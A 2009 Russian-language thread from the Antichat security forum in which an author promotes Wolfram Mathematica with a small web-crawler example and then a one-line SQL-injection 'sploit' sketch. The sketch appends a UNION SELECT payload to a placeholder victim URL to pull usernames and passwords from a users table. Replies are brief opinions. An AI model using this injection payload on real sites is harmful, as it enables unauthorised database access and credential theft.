ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Мощь Mathematica
  #1  
Старый 14.10.2009, 22:28
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию Мощь Mathematica

Здравствуйте!

В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.

Справка из Википедии:

Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука.

Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.

Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.

Заодно расскажу об основных функциях, нужных для этого.

Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.

Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.

Для работы с DatabaseLink в программе надо добавить строчку
Код:
Needs["DatabaseLink`"]
.

Напишите в Notebook следующий код:
Код:
Needs["DatabaseLink`"]
OpenSQLConnection[]
Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.

Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.

Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.

Код:
Needs["DatabaseLink`"]
urli = "http://ya.ru" (*Любой URL для краулинга*)
text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
title = Import[urli, "Title"] (* Импортируем <title>*)
links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*)
conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
SQLConnection["index", 1, "Open", "<>"]
SQLCreateTable[conn, 
  SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"], 
   SQLColumn["text", "DataTypeName" -> "STRING"],
   SQLColumn["title", "DataTypeName" -> "STRING"],
   SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"},  {urli, 
  text, title, links}] (*Закидываем данные в таблицу*)
CloseSQLConnection[conn](*Отключаемся от БД*)
Как видите, код очень короткий и интуитивно понятный.

Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока) их не писал.

Но суть такова:

Код:
urli = "http://victim.com"
StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'),2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)
Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].


Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!

(c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html

Последний раз редактировалось Root-access; 14.10.2009 в 23:22..
 
Ответить с цитированием

  #2  
Старый 14.10.2009, 23:13
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию

имхо, абсолютно нецелесообразное использование софта.
я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?
 
Ответить с цитированием

  #3  
Старый 14.10.2009, 23:16
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от BrainDeaD  
имхо, абсолютно нецелесообразное использование софта.
я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?
Это почему же не целесообразное?!
Кто запрещает писать, скажем web-краулер на Mathematica?
Эта система далеко не только для научных расчетов.
Если удобно, то почему бы и нет?
Кстати поисковик wolframalfa.com тоже на mathematica написан.
 
Ответить с цитированием

  #4  
Старый 14.10.2009, 23:18
gibson
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме:
2872049

Репутация: 705
Отправить сообщение для gibson с помощью ICQ
По умолчанию

Цитата:
Кто не знает, пусть погуглит.
пошел гуглить, будет удалена.
 
Ответить с цитированием

  #5  
Старый 15.10.2009, 22:39
Xcontrol212
Постоянный
Регистрация: 13.02.2008
Сообщений: 505
Провел на форуме:
2916750

Репутация: 277


Отправить сообщение для Xcontrol212 с помощью ICQ
По умолчанию

Достаточно интересно,уже качаю Wolfram
 
Ответить с цитированием

  #6  
Старый 16.10.2009, 00:04
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839

Репутация: 1502


По умолчанию

эзотерика ёпть
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #7  
Старый 16.10.2009, 00:32
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от desTiny  
эзотерика ёпть
Ну вообще-то это не эзотерика. Да это и не имеет никакого значения. Главное - польза.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Мощь 17-ти видеокарт GeForce GTX 295 во имя спасения жизни отца sebay Мировые новости 8 12.04.2009 11:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ